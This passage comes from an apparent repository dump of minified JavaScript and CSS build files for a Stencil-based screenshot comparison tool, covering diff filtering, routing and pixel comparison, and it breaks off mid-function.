t={root:document.querySelector(\".scroll-y\"),rootMargin:\"1200px\"},s=new IntersectionObserver(t=>{let s=!1;t.forEach(t=>{if(t.isIntersecting){const i=this.diffs.find(s=>t.target.id===\"d-\"+s.id);i&&(i.hasIntersected=!0,s=!0)}}),s&&(window.requestIdleCallback?window.requestIdleCallback(()=>{this.updateDiffs()}):window.requestAnimationFrame(()=>{this.updateDiffs()}))},t),i=document.querySelectorAll(\"compare-row\");for(let t=0;t<i.length;t++)s.observe(i[t])}else this.diffs.forEach(t=>{t.hasIntersected=!0}),this.updateDiffs();this.filter&&this.filter.diff&&this.navToDiff(this.filter.diff)}async loadBuilds(t,s){let i=`${this.buildsUrl}${t}.json`;\"master\"===t&&(i+=\"?ts=\"+Date.now());let e=`${this.buildsUrl}${s}.json`;\"master\"===s&&(e+=\"?ts=\"+Date.now());const o=await Promise.all([fetch(i),fetch(e)]),n=await o[0],a=await o[1];n.ok&&a.ok&&(this.a=await n.json(),this.b=await a.json())}filterChange(t){this.filter=e(this.filter,t.detail),this.updateDiffs()}diffNavChange(t){const s=t.detail;this.filter=e(this.filter,{diff:s}),this.updateDiffs(),this.navToDiff(s)}navToDiff(t){const s=document.getElementById(\"d-\"+t),i=document.querySelector(\".scroll-y\");s&&i&&(i.scrollTop=s.offsetTop-84)}compareLoaded(t){const s=t.detail,i=this.diffs.find(t=>t.id===s.id);i&&(i.mismatchedPixels=s.mismatchedPixels),this.updateDiffs()}updateDiffs(){var t;this.diffs=(t=this.filter,this.diffs.map(s=>(s=Object.assign({},s),function(t,s){const i=!t.device||t.device===s.device,e=!t.search||s.desc.includes(t.search);let o=!0;return t.diff&&t.diff===s.id?o=!0:t.mismatch?null!=s.mismatchedPixels&&\"all\"!==t.mismatch&&(o=parseInt(t.mismatch,10)<s.mismatchedPixels):o=s.mismatchedPixels>0||null==s.mismatchedPixels,s.show=i&&e&&o,s}(t,s))).sort((t,s)=>t.mismatchedPixels>s.mismatchedPixels?-1:t.mismatchedPixels<s.mismatchedPixels?1:t.desc.toLowerCase()<s.desc.toLowerCase()?-1:t.desc.toLowerCase()>s.desc.toLowerCase()?1:t.device.toLowerCase()<s.device.toLowerCase()?-1:t.device.toLowerCase()>s.device.toLowerCase()?1:0))}render(){return[s(\"compare-header\",{diffs:this.diffs,filter:this.filter,appSrcUrl:this.appSrcUrl}),s(\"section\",{class:\"scroll-x\"},s(\"compare-thead\",{a:this.a,b:this.b,diffs:this.diffs}),s(\"section\",{class:\"scroll-y\"},s(\"compare-table\",null,s(\"compare-tbody\",null,this.diffs.map(t=>s(\"compare-row\",{key:t.id,aId:this.a.id,bId:this.b.id,id:\"d-\"+t.id,show:t.show,hidden:!t.show,imagesUrl:this.imagesUrl,jsonpUrl:this.jsonpUrl,diff:t}))))))]}}export{o as screenshot_compare}"
  },
  {
    "path": "screenshot/compare/build/p-573ec8a4.entry.js",
    "content": "import{r as l,d as t,h as d}from\"./p-fbbae598.js\";class a{constructor(d){l(this,d),this.mismatchedPixels=null,this.diffNavChange=t(this,\"diffNavChange\",7)}navToDiff(l){l.preventDefault(),l.stopPropagation(),this.diffNavChange.emit(this.diff.id)}render(){const l=this.diff,t=\"number\"==typeof this.mismatchedPixels,a=t?this.mismatchedPixels/(l.width*l.deviceScaleFactor*(l.height*l.deviceScaleFactor)):null;let i=\"\";t?this.mismatchedPixels>0&&(i=\"has-mismatch\"):i=\"not-calculated\";const n=l.testPath.split(\"/\");n.pop();const s=n.join(\"/\");return[d(\"p\",{class:\"test-path\"},l.testPath),d(\"dl\",null,d(\"div\",null,d(\"dt\",null,\"Diff\"),d(\"dd\",null,d(\"a\",{href:\"#diff-\"+l.id,onClick:this.navToDiff.bind(this)},l.id))),l.comparable?[d(\"div\",{class:i},d(\"dt\",null,\"Mismatched Pixels\"),d(\"dd\",null,t?this.mismatchedPixels:\"--\")),d(\"div\",{class:i},d(\"dt\",null,\"Mismatched Ratio\"),d(\"dd\",null,t?a.toFixed(4):\"--\"))]:null,d(\"div\",null,d(\"dt\",null,\"Device\"),d(\"dd\",null,l.device)),d(\"div\",null,d(\"dt\",null,\"Width\"),d(\"dd\",null,l.width)),d(\"div\",null,d(\"dt\",null,\"Height\"),d(\"dd\",null,l.height)),d(\"div\",null,d(\"dt\",null,\"Device Scale Factor\"),d(\"dd\",null,l.deviceScaleFactor)),l.imageA?d(\"div\",null,d(\"dt\",null,\"Left Preview\"),d(\"dd\",null,d(\"a\",{href:`/data/tests/${this.aId}/${s}/`,target:\"_blank\"},\"HTML\"))):null,l.imageB?d(\"div\",null,d(\"dt\",null,\"Right Preview\"),d(\"dd\",null,d(\"a\",{href:`/data/tests/${this.bId}/${s}/`,target:\"_blank\"},\"HTML\"))):null,d(\"div\",{class:\"desc\"},d(\"dt\",null,\"Description\"),d(\"dd\",null,l.desc)))]}}a.style=\".test-path{margin-top:0;padding-top:0;font-size:10px;color:var(--analysis-data-color)}dl{padding:0;margin:0;font-size:var(--analysis-data-font-size);line-height:28px}div{display:flex;width:260px}dt{display:inline;flex:2;font-weight:500}dd{display:inline;flex:1;color:var(--analysis-data-color)}.desc,.desc dt{display:block}.desc dd{display:block;margin:0;line-height:22px}.not-calculated dd{color:#cccccc}.has-mismatch dd{color:#ff6200}p{padding-top:14px;font-size:var(--analysis-data-font-size)}a{color:var(--analysis-data-color)}a:hover{text-decoration:none}\";export{a as compare_analysis}"
  },
  {
    "path": "screenshot/compare/build/p-6ba08604.entry.js",
    "content": "import{r as t,h as i}from\"./p-fbbae598.js\";class o{constructor(i){t(this,i),this.a=\"\",this.b=\"\"}async componentWillLoad(){const t=\"/data/builds/master.json?ts=\"+Date.now(),i=await fetch(t);i.ok&&(this.build=await i.json())}onSubmit(t){t.preventDefault(),t.stopPropagation();let i=this.a.trim().toLowerCase(),o=this.b.trim().toLowerCase();i&&o&&(i=i.substring(0,7),o=o.substring(0,7),window.location.href=`/${i}/${o}`)}render(){return[i(\"header\",null,i(\"div\",{class:\"logo\"},i(\"a\",{href:\"/\"},i(\"img\",{src:\"/assets/logo.png?1\"})))),i(\"section\",null,this.build?i(\"section\",{class:\"master\"},i(\"p\",null,i(\"a\",{href:\"/master\"},this.build.message))):null,i(\"form\",{onSubmit:this.onSubmit.bind(this)},i(\"div\",null,i(\"input\",{onInput:t=>this.a=t.target.value})),i(\"div\",null,i(\"input\",{onInput:t=>this.b=t.target.value})),i(\"div\",null,i(\"button\",{type:\"submit\"},\"Compare Screenshots\"))))]}}o.style=\"header{padding:8px;background:white;box-shadow:var(--header-box-shadow)}img{width:174px;height:32px}.logo{flex:1;padding:7px}a{padding:8px;color:var(--analysis-data-color);text-decoration:none}.master{text-align:center}a:hover{text-decoration:underline}form{width:160px;margin:40px auto}form div{margin:10px}input{width:100%}\";export{o as screenshot_lookup}"
  },
  {
    "path": "screenshot/compare/build/p-6bc63295.entry.js",
    "content": "import{r as s,g as t}from\"./p-fbbae598.js\";import{A as e}from\"./p-e2efe0df.js\";class i{constructor(t){s(this,t),this.when=!0,this.message=\"\"}enable(s){this.unblock&&this.unblock(),this.history&&(this.unblock=this.history.block(s))}disable(){this.unblock&&(this.unblock(),this.unblock=void 0)}componentWillLoad(){this.when&&this.enable(this.message)}updateMessage(s,t){this.when?this.when&&t===s||this.enable(this.message):this.disable()}componentDidUnload(){this.disable()}render(){return null}get el(){return t(this)}static get watchers(){return{message:[\"updateMessage\"],when:[\"updateMessage\"]}}}e.injectProps(i,[\"history\"]);export{i as stencil_router_prompt}"
  },
  {
    "path": "screenshot/compare/build/p-7a3759fd.entry.js",
    "content": "import{r as e,d as t,h as i}from\"./p-fbbae598.js\";class s{constructor(i){e(this,i),this.filterChange=t(this,\"filterChange\",7)}render(){if(!this.diffs||0===this.diffs.length||!this.filter)return;const e=this.diffs.reduce((e,t)=>(e.some(e=>e.value===t.device)||e.push({text:t.device,value:t.device}),e),[{text:\"All Devices\",value:\"\"}]);return i(\"section\",null,i(\"div\",{class:\"showing\"},\"Showing \",this.diffs.filter(e=>e.show).length),i(\"div\",{class:\"search\"},i(\"input\",{type:\"search\",onInput:e=>{this.filterChange.emit({search:e.target.value})},value:this.filter.search||\"\"})),e.length>1?i(\"div\",{class:\"device\"},i(\"select\",{onInput:e=>{this.filterChange.emit({device:e.target.value})}},e.map(e=>i(\"option\",{key:e.value,selected:e.value===this.filter.device,value:e.value},e.text)))):null,i(\"div\",{class:\"mismatch\"},i(\"select\",{onInput:e=>{this.filterChange.emit({mismatch:e.target.value})}},i(\"option\",{value:\"\",selected:\"\"===this.filter.mismatch},\"> 0\"),i(\"option\",{value:\"100\",selected:\"100\"===this.filter.mismatch},\"> 100\"),i(\"option\",{value:\"250\",selected:\"250\"===this.filter.mismatch},\"> 250\"),i(\"option\",{value:\"500\",selected:\"500\"===this.filter.mismatch},\"> 500\"),i(\"option\",{value:\"1000\",selected:\"1000\"===this.filter.mismatch},\"> 1,000\"),i(\"option\",{value:\"2500\",selected:\"2500\"===this.filter.mismatch},\"> 2,500\"),i(\"option\",{value:\"5000\",selected:\"5000\"===this.filter.mismatch},\"> 5,000\"),i(\"option\",{value:\"10000\",selected:\"10000\"===this.filter.mismatch},\"> 10,000\"),i(\"option\",{value:\"25000\",selected:\"25000\"===this.filter.mismatch},\"> 25,000\"),i(\"option\",{value:\"50000\",selected:\"50000\"===this.filter.mismatch},\"> 50,000\"),i(\"option\",{value:\"all\",selected:\"all\"===this.filter.mismatch},\"All Screenshots\"))))}}s.style=\"select{font-size:10px}input{font-size:10px}.showing{font-size:12px;white-space:nowrap;margin:17px 8px 0 0;color:var(--analysis-data-color)}section{display:flex;justify-content:flex-end}.search{margin:13px 8px 0 0}.device{margin:13px 8px 0 0}.mismatch{margin:13px 8px 0 0}\";class a{constructor(t){e(this,t)}render(){return[i(\"header\",null,i(\"div\",{class:\"logo\"},i(\"a\",{href:\"/\"},i(\"img\",{src:this.appSrcUrl+\"/assets/logo.png?1\"}))),i(\"compare-filter\",{diffs:this.diffs,filter:this.filter}))]}}a.style=\":host{background:white;box-shadow:var(--header-box-shadow)}nav{padding:4px 4px}nav a{font-size:14px;text-decoration:none;color:var(--breadcrumb-color);display:inline-block;padding:0 4px 0 4px}nav a:hover{text-decoration:underline}header{display:flex;width:calc(100% - 115px);padding:8px}img{width:174px;height:32px}.logo{flex:1;padding:7px}compare-filter{flex:1}h1{margin:0;padding:0;font-size:18px}\";export{s as compare_filter,a as compare_header}"
  },
  {
    "path": "screenshot/compare/build/p-7b4e3ba7.js",
    "content": "import{p as e,b as r}from\"./p-fbbae598.js\";e().then(e=>r([[\"p-5479268c\",[[0,\"screenshot-compare\",{appSrcUrl:[1,\"app-src-url\"],imagesUrl:[1,\"images-url\"],buildsUrl:[1,\"builds-url\"],comparesUrl:[1,\"compares-url\"],jsonpUrl:[1,\"jsonp-url\"],match:[16],a:[1040],b:[1040],filter:[32],diffs:[32]},[[0,\"filterChange\",\"filterChange\"],[0,\"diffNavChange\",\"diffNavChange\"],[0,\"compareLoaded\",\"compareLoaded\"]]]]],[\"p-2c298727\",[[0,\"screenshot-preview\",{appSrcUrl:[1,\"app-src-url\"],imagesUrl:[1,\"images-url\"],buildsUrl:[1,\"builds-url\"],match:[16]}]]],[\"p-f0b99977\",[[0,\"context-consumer\",{context:[16],renderer:[16],subscribe:[16],unsubscribe:[32]}]]],[\"p-6ba08604\",[[1,\"screenshot-lookup\"]]],[\"p-ec2f13e0\",[[0,\"stencil-async-content\",{documentLocation:[1,\"document-location\"],content:[32]}]]],[\"p-d1bf53f5\",[[4,\"stencil-route-link\",{url:[1],urlMatch:[1,\"url-match\"],activeClass:[1,\"active-class\"],exact:[4],strict:[4],custom:[1],anchorClass:[1,\"anchor-class\"],anchorRole:[1,\"anchor-role\"],anchorTitle:[1,\"anchor-title\"],anchorTabIndex:[1,\"anchor-tab-index\"],anchorId:[1,\"anchor-id\"],history:[16],location:[16],root:[1],ariaHaspopup:[1,\"aria-haspopup\"],ariaPosinset:[1,\"aria-posinset\"],ariaSetsize:[2,\"aria-setsize\"],ariaLabel:[1,\"aria-label\"],match:[32]}]]],[\"p-b4cc611c\",[[0,\"stencil-route-title\",{titleSuffix:[1,\"title-suffix\"],pageTitle:[1,\"page-title\"]}]]],[\"p-6bc63295\",[[0,\"stencil-router-prompt\",{when:[4],message:[1],history:[16],unblock:[32]}]]],[\"p-e8ca6d97\",[[0,\"stencil-router-redirect\",{history:[16],root:[1],url:[1]}]]],[\"p-573ec8a4\",[[1,\"compare-analysis\",{aId:[1,\"a-id\"],bId:[1,\"b-id\"],diff:[16],mismatchedPixels:[2,\"mismatched-pixels\"]}]]],[\"p-f4745c2f\",[[0,\"compare-row\",{aId:[1,\"a-id\"],bId:[1,\"b-id\"],imagesUrl:[1,\"images-url\"],jsonpUrl:[1,\"jsonp-url\"],diff:[16],show:[4],imageASrc:[32],imageBSrc:[32],imageAClass:[32],imageBClass:[32],canvasClass:[32]}],[1,\"compare-thead\",{a:[16],b:[16],diffs:[16]}]]],[\"p-227a1e18\",[[0,\"app-root\"],[0,\"stencil-route\",{group:[513],componentUpdated:[16],match:[1040],url:[1],component:[1],componentProps:[16],exact:[4],routeRender:[16],scrollTopOffset:[2,\"scroll-top-offset\"],routeViewsUpdated:[16],location:[16],history:[16],historyType:[1,\"history-type\"]}],[4,\"stencil-route-switch\",{group:[513],scrollTopOffset:[2,\"scroll-top-offset\"],location:[16],routeViewsUpdated:[16]}],[4,\"stencil-router\",{root:[1],historyType:[1,\"history-type\"],titleSuffix:[1,\"title-suffix\"],scrollTopOffset:[2,\"scroll-top-offset\"],location:[32],history:[32]}]]],[\"p-7a3759fd\",[[1,\"compare-header\",{appSrcUrl:[1,\"app-src-url\"],diffs:[16],filter:[16]}],[1,\"compare-filter\",{diffs:[16],filter:[16]}]]]],e));"
  },
  {
    "path": "screenshot/compare/build/p-988eb362.css",
    "content": ":root{--font-family:-apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, Oxygen, Ubuntu, Cantarell, 'Open Sans', 'Helvetica Neue', sans-serif;--font-color:rgb(32, 32, 32);--background-color:#f7f8fb;--breadcrumb-color:#8e9bb2;--header-box-shadow:0px 1px 4px rgba(0, 12, 32, 0.12), 0px 1px 0px rgba(0,12,32,0.02);--screenshot-box-shadow:0px 0px 4px rgba(0, 0, 0, 0.08), 0px 1px 3px rgba(0,0,0,0.12);--screenshot-border-radius:4px;--analysis-data-font-size:12px;--analysis-data-color:rgb(111, 111, 111)}*{box-sizing:border-box}body{padding:0;margin:0;font-family:var(--font-family);background:var(--background-color);color:var(--font-color)}compare-table{display:table;width:100%;margin-top:84px;margin-bottom:12px}compare-tbody{display:table-row-group}compare-tbody compare-cell{padding-top:12px}compare-row{display:table-row}compare-row[hidden]{display:none}compare-cell{display:table-cell;vertical-align:top;padding:3px 10px}body{overflow:hidden;position:absolute;width:100%;height:100vh}screenshot-compare{position:absolute;display:block;top:0px;width:100%;height:100vh}compare-header{display:block;position:absolute;z-index:1;display:block;top:0;left:-100px;padding-left:100px;width:calc(100% + 200px);height:84px}compare-thead{position:relative;top:64px;z-index:1}.scroll-x{position:absolute;top:0;width:100%;height:100vh;overflow-x:scroll;overflow-y:hidden}.scroll-y{position:absolute;top:0;height:100vh;overflow-x:hidden;overflow-y:scroll;-webkit-overflow-scrolling:touch;will-change:scroll-position}"
  },
  {
    "path": "screenshot/compare/build/p-9b6a9315.js",
    "content": "const r=new RegExp([\"(\\\\\\\\.)\",\"(?:\\\\:(\\\\w+)(?:\\\\(((?:\\\\\\\\.|[^\\\\\\\\()])+)\\\\))?|\\\\(((?:\\\\\\\\.|[^\\\\\\\\()])+)\\\\))([+*?])?\"].join(\"|\"),\"g\"),e=r=>r.replace(/([.+*?=^!:${}()[\\]|/\\\\])/g,\"\\\\$1\"),t=r=>r.replace(/([=!:$/()])/g,\"\\\\$1\"),n=r=>r&&r.sensitive?\"\":\"i\",a=(r,t,a)=>{for(var o=(a=a||{}).strict,s=!1!==a.end,i=e(a.delimiter||\"/\"),l=a.delimiters||\"./\",c=[].concat(a.endsWith||[]).map(e).concat(\"$\").join(\"|\"),u=\"\",f=!1,p=0;p<r.length;p++){var d=r[p];if(\"string\"==typeof d)u+=e(d),f=p===r.length-1&&l.indexOf(d[d.length-1])>-1;else{var h=e(d.prefix||\"\"),v=d.repeat?\"(?:\"+d.pattern+\")(?:\"+h+\"(?:\"+d.pattern+\"))*\":d.pattern;t&&t.push(d),u+=d.optional?d.partial?h+\"(\"+v+\")?\":\"(?:\"+h+\"(\"+v+\"))?\":h+\"(\"+v+\")\"}}return s?(o||(u+=\"(?:\"+i+\")?\"),u+=\"$\"===c?\"$\":\"(?=\"+c+\")\"):(o||(u+=\"(?:\"+i+\"(?=\"+c+\"))?\"),f||(u+=\"(?=\"+i+\"|\"+c+\")\")),new RegExp(\"^\"+u,n(a))},o=(s,i,l)=>s instanceof RegExp?((r,e)=>{if(!e)return r;var t=r.source.match(/\\((?!\\?)/g);if(t)for(var n=0;n<t.length;n++)e.push({name:n,prefix:null,delimiter:null,optional:!1,repeat:!1,partial:!1,pattern:null});return r})(s,i):Array.isArray(s)?((r,e,t)=>{for(var a=[],s=0;s<r.length;s++)a.push(o(r[s],e,t).source);return new RegExp(\"(?:\"+a.join(\"|\")+\")\",n(t))})(s,i,l):((n,o,s)=>a(((n,a)=>{for(var o,s=[],i=0,l=0,c=\"\",u=a&&a.delimiter||\"/\",f=a&&a.delimiters||\"./\",p=!1;null!==(o=r.exec(n));){var d=o[0],h=o[1],v=o.index;if(c+=n.slice(l,v),l=v+d.length,h)c+=h[1],p=!0;else{var g=\"\",y=n[l],E=o[2],x=o[3],R=o[4],m=o[5];if(!p&&c.length){var $=c.length-1;f.indexOf(c[$])>-1&&(g=c[$],c=c.slice(0,$))}c&&(s.push(c),c=\"\",p=!1);var O=g||u,_=x||R;s.push({name:E||i++,prefix:g,delimiter:O,optional:\"?\"===m||\"*\"===m,repeat:\"+\"===m||\"*\"===m,partial:\"\"!==g&&void 0!==y&&y!==g,pattern:_?t(_):\"[^\"+e(O)+\"]+?\"})}}return(c||l<n.length)&&s.push(c+n.substr(l)),s})(n,s),o,s))(s,i,l),s=(r,e)=>new RegExp(\"^\"+e+\"(\\\\/|\\\\?|#|$)\",\"i\").test(r),i=(r,e)=>s(r,e)?r.substr(e.length):r,l=r=>\"/\"===r.charAt(r.length-1)?r.slice(0,-1):r,c=r=>\"/\"===r.charAt(0)?r:\"/\"+r,u=r=>\"/\"===r.charAt(0)?r.substr(1):r,f=r=>{const{pathname:e,search:t,hash:n}=r;let a=e||\"/\";return t&&\"?\"!==t&&(a+=\"?\"===t.charAt(0)?t:\"?\"+t),n&&\"#\"!==n&&(a+=\"#\"===n.charAt(0)?n:\"#\"+n),a},p=r=>\"/\"===r.charAt(0),d=r=>Math.random().toString(36).substr(2,r),h=(r,e)=>{for(let t=e,n=t+1,a=r.length;n<a;t+=1,n+=1)r[t]=r[n];r.pop()},v=(r,e)=>{if(r===e)return!0;if(null==r||null==e)return!1;if(Array.isArray(r))return Array.isArray(e)&&r.length===e.length&&r.every((r,t)=>v(r,e[t]));const t=typeof r;if(t!==typeof e)return!1;if(\"object\"===t){const t=r.valueOf(),n=e.valueOf();if(t!==r||n!==e)return v(t,n);const a=Object.keys(r),o=Object.keys(e);return a.length===o.length&&a.every(t=>v(r[t],e[t]))}return!1},g=(r,e)=>r.pathname===e.pathname&&r.search===e.search&&r.hash===e.hash&&r.key===e.key&&v(r.state,e.state),y=(r,e,t,n)=>{let a;\"string\"==typeof r?(a=(r=>{let e=r||\"/\",t=\"\",n=\"\";const a=e.indexOf(\"#\");-1!==a&&(n=e.substr(a),e=e.substr(0,a));const o=e.indexOf(\"?\");return-1!==o&&(t=e.substr(o),e=e.substr(0,o)),{pathname:e,search:\"?\"===t?\"\":t,hash:\"#\"===n?\"\":n,query:{},key:\"\"}})(r),void 0!==e&&(a.state=e)):(a=Object.assign({pathname:\"\"},r),a.search&&\"?\"!==a.search.charAt(0)&&(a.search=\"?\"+a.search),a.hash&&\"#\"!==a.hash.charAt(0)&&(a.hash=\"#\"+a.hash),void 0!==e&&void 0===a.state&&(a.state=e));try{a.pathname=decodeURI(a.pathname)}catch(r){throw r instanceof URIError?new URIError('Pathname \"'+a.pathname+'\" could not be decoded. This is likely caused by an invalid percent-encoding.'):r}var o;return a.key=t,n?a.pathname?\"/\"!==a.pathname.charAt(0)&&(a.pathname=((r,e=\"\")=>{let t,n=e&&e.split(\"/\")||[],a=0;const o=r&&r.split(\"/\")||[],s=r&&p(r),i=e&&p(e),l=s||i;if(r&&p(r)?n=o:o.length&&(n.pop(),n=n.concat(o)),!n.length)return\"/\";if(n.length){const r=n[n.length-1];t=\".\"===r||\"..\"===r||\"\"===r}else t=!1;for(let r=n.length;r>=0;r--){const e=n[r];\".\"===e?h(n,r):\"..\"===e?(h(n,r),a++):a&&(h(n,r),a--)}if(!l)for(;a--;a)n.unshift(\"..\");!l||\"\"===n[0]||n[0]&&p(n[0])||n.unshift(\"\");let c=n.join(\"/\");return t&&\"/\"!==c.substr(-1)&&(c+=\"/\"),c})(a.pathname,n.pathname)):a.pathname=n.pathname:a.pathname||(a.pathname=\"/\"),a.query=(o=a.search||\"\")?(/^[?#]/.test(o)?o.slice(1):o).split(\"&\").reduce((r,e)=>{let[t,n]=e.split(\"=\");return r[t]=n?decodeURIComponent(n.replace(/\\+/g,\" \")):\"\",r},{}):{},a};let E=0;const x={},R=(r,e={})=>{\"string\"==typeof e&&(e={path:e});const{path:t=\"/\",exact:n=!1,strict:a=!1}=e,{re:s,keys:i}=((r,e)=>{const t=`${e.end}${e.strict}`,n=x[t]||(x[t]={}),a=JSON.stringify(r);if(n[a])return n[a];const s=[],i={re:o(r,s,e),keys:s};return E<1e4&&(n[a]=i,E+=1),i})(t,{end:n,strict:a}),l=s.exec(r);if(!l)return null;const[c,...u]=l,f=r===c;return n&&!f?null:{path:t,url:\"/\"===t&&\"\"===c?\"/\":c,isExact:f,params:i.reduce((r,e,t)=>(r[e.name]=u[t],r),{})}},m=(r,e)=>null==r&&null==e||null!=e&&r&&e&&r.path===e.path&&r.url===e.url&&v(r.params,e.params),$=(r,e,t)=>t(r.confirm(e)),O=r=>r.metaKey||r.altKey||r.ctrlKey||r.shiftKey,_=r=>{const e=r.navigator.userAgent;return(-1===e.indexOf(\"Android 2.\")&&-1===e.indexOf(\"Android 4.0\")||-1===e.indexOf(\"Mobile Safari\")||-1!==e.indexOf(\"Chrome\")||-1!==e.indexOf(\"Windows Phone\"))&&r.history&&\"pushState\"in r.history},b=r=>-1===r.userAgent.indexOf(\"Trident\"),w=r=>-1===r.userAgent.indexOf(\"Firefox\"),A=(r,e)=>void 0===e.state&&-1===r.userAgent.indexOf(\"CriOS\"),j=(r,e)=>{const t=r[e],n=\"__storage_test__\";try{return t.setItem(n,n),t.removeItem(n),!0}catch(r){return r instanceof DOMException&&(22===r.code||1014===r.code||\"QuotaExceededError\"===r.name||\"NS_ERROR_DOM_QUOTA_REACHED\"===r.name)&&0!==t.length}};export{m as a,_ as b,b as c,l as d,c as e,y as f,d as g,s as h,i,f as j,$ as k,A as l,R as m,w as n,u as o,g as p,O as q,j as s}"
  },
  {
    "path": "screenshot/compare/build/p-b4cc611c.entry.js",
    "content": "import{r as t,g as e}from\"./p-fbbae598.js\";import{A as s}from\"./p-e2efe0df.js\";class i{constructor(e){t(this,e),this.titleSuffix=\"\",this.pageTitle=\"\"}updateDocumentTitle(){const t=this.el;t.ownerDocument&&(t.ownerDocument.title=`${this.pageTitle}${this.titleSuffix||\"\"}`)}componentWillLoad(){this.updateDocumentTitle()}get el(){return e(this)}static get watchers(){return{pageTitle:[\"updateDocumentTitle\"]}}}s.injectProps(i,[\"titleSuffix\"]);export{i as stencil_route_title}"
  },
  {
    "path": "screenshot/compare/build/p-d1bf53f5.entry.js",
    "content": "import{r as t,h as i,g as s}from\"./p-fbbae598.js\";import{A as h}from\"./p-e2efe0df.js\";import{m as a,q as e}from\"./p-9b6a9315.js\";class r{constructor(i){t(this,i),this.unsubscribe=()=>{},this.activeClass=\"link-active\",this.exact=!1,this.strict=!0,this.custom=\"a\",this.match=null}componentWillLoad(){this.computeMatch()}computeMatch(){this.location&&(this.match=a(this.location.pathname,{path:this.urlMatch||this.url,exact:this.exact,strict:this.strict}))}handleClick(t){var i,s;if(!e(t)&&this.history&&this.url&&this.root)return t.preventDefault(),this.history.push((s=this.root,\"/\"==(i=this.url).charAt(0)&&\"/\"==s.charAt(s.length-1)?s.slice(0,s.length-1)+i:s+i))}render(){let t={class:{[this.activeClass]:null!==this.match},onClick:this.handleClick.bind(this)};return this.anchorClass&&(t.class[this.anchorClass]=!0),\"a\"===this.custom&&(t=Object.assign({},t,{href:this.url,title:this.anchorTitle,role:this.anchorRole,tabindex:this.anchorTabIndex,\"aria-haspopup\":this.ariaHaspopup,id:this.anchorId,\"aria-posinset\":this.ariaPosinset,\"aria-setsize\":this.ariaSetsize,\"aria-label\":this.ariaLabel})),i(this.custom,Object.assign({},t),i(\"slot\",null))}get el(){return s(this)}static get watchers(){return{location:[\"computeMatch\"]}}}h.injectProps(r,[\"history\",\"location\",\"root\"]);export{r as stencil_route_link}"
  },
  {
    "path": "screenshot/compare/build/p-e2efe0df.js",
    "content": "import{h as t}from\"./p-fbbae598.js\";const e=(()=>{let e=new Map,r={historyType:\"browser\",location:{pathname:\"\",query:{},key:\"\"},titleSuffix:\"\",root:\"/\",routeViewsUpdated:()=>{}};const o=(t,e)=>{Array.isArray(t)?[...t].forEach(t=>{e[t]=r[t]}):e[t]=Object.assign({},r)},s=(t,r)=>(e.has(t)||(e.set(t,r),o(r,t)),()=>{e.has(t)&&e.delete(t)});return{Provider:({state:t},s)=>(r=t,e.forEach(o),s),Consumer:(e,r)=>((e,r)=>t(\"context-consumer\",{subscribe:e,renderer:r}))(s,r[0]),injectProps:(t,r)=>{const o=t.prototype,n=o.connectedCallback,i=o.disconnectedCallback;o.connectedCallback=function(){if(s(this,r),n)return n.call(this)},o.disconnectedCallback=function(){e.delete(this),i&&i.call(this)}}}})();export{e as A}"
  },
  {
    "path": "screenshot/compare/build/p-e8ca6d97.entry.js",
    "content": "import{r as t,g as r}from\"./p-fbbae598.js\";import{A as s}from\"./p-e2efe0df.js\";class i{constructor(r){t(this,r)}componentWillLoad(){if(this.history&&this.root&&this.url)return this.history.replace((r=this.root,\"/\"==(t=this.url).charAt(0)&&\"/\"==r.charAt(r.length-1)?r.slice(0,r.length-1)+t:r+t));var t,r}get el(){return r(this)}}s.injectProps(i,[\"history\",\"root\"]);export{i as stencil_router_redirect}"
  },
  {
    "path": "screenshot/compare/build/p-ec2f13e0.entry.js",
    "content": "import{r as t,h as e}from\"./p-fbbae598.js\";class n{constructor(e){t(this,e),this.content=\"\"}componentWillLoad(){if(null!=this.documentLocation)return this.fetchNewContent(this.documentLocation)}fetchNewContent(t){return fetch(t).then(t=>t.text()).then(t=>{this.content=t})}render(){return e(\"div\",{innerHTML:this.content})}static get watchers(){return{documentLocation:[\"fetchNewContent\"]}}}export{n as stencil_async_content}"
  },
  {
    "path": "screenshot/compare/build/p-f0b99977.entry.js",
    "content": "import{r as t,g as s}from\"./p-fbbae598.js\";class e{constructor(s){t(this,s),this.context={},this.renderer=()=>null}connectedCallback(){null!=this.subscribe&&(this.unsubscribe=this.subscribe(this.el,\"context\"))}disconnectedCallback(){null!=this.unsubscribe&&this.unsubscribe()}render(){return this.renderer(Object.assign({},this.context))}get el(){return s(this)}}export{e as context_consumer}"
  },
  {
    "path": "screenshot/compare/build/p-f4745c2f.entry.js",
    "content": "import{r as t,d as s,h as i,g as e}from\"./p-fbbae598.js\";import{s as n}from\"./p-081b0641.js\";const h={threshold:.1,includeAA:!1,alpha:.1,aaColor:[255,255,0],diffColor:[255,0,0],diffColorAlt:null,diffMask:!1};function o(t){return ArrayBuffer.isView(t)&&1===t.constructor.BYTES_PER_ELEMENT}function r(t,s,i,e,n,h){const o=Math.max(s-1,0),r=Math.max(i-1,0),c=Math.min(s+1,e-1),d=Math.min(i+1,n-1),f=4*(i*e+s);let u,p,m,g,w=s===o||s===c||i===r||i===d?1:0,y=0,v=0;for(let n=o;n<=c;n++)for(let h=r;h<=d;h++){if(n===s&&h===i)continue;const o=l(t,t,f,4*(h*e+n),!0);if(0===o){if(w++,w>2)return!1}else o<y?(y=o,u=n,p=h):o>v&&(v=o,m=n,g=h)}return 0!==y&&0!==v&&(a(t,u,p,e,n)&&a(h,u,p,e,n)||a(t,m,g,e,n)&&a(h,m,g,e,n))}function a(t,s,i,e,n){const h=Math.max(s-1,0),o=Math.max(i-1,0),r=Math.min(s+1,e-1),a=Math.min(i+1,n-1),l=4*(i*e+s);let c=s===h||s===r||i===o||i===a?1:0;for(let n=h;n<=r;n++)for(let h=o;h<=a;h++){if(n===s&&h===i)continue;const o=4*(h*e+n);if(t[l]===t[o]&&t[l+1]===t[o+1]&&t[l+2]===t[o+2]&&t[l+3]===t[o+3]&&c++,c>2)return!0}return!1}function l(t,s,i,e,n){let h=t[i+0],o=t[i+1],r=t[i+2],a=t[i+3],l=s[e+0],p=s[e+1],m=s[e+2],g=s[e+3];if(a===g&&h===l&&o===p&&r===m)return 0;a<255&&(a/=255,h=u(h,a),o=u(o,a),r=u(r,a)),g<255&&(g/=255,l=u(l,g),p=u(p,g),m=u(m,g));const w=c(h,o,r),y=c(l,p,m),v=w-y;if(n)return v;const b=d(h,o,r)-d(l,p,m),x=f(h,o,r)-f(l,p,m),M=.5053*v*v+.299*b*b+.1957*x*x;return w>y?-M:M}function c(t,s,i){return.29889531*t+.58662247*s+.11448223*i}function 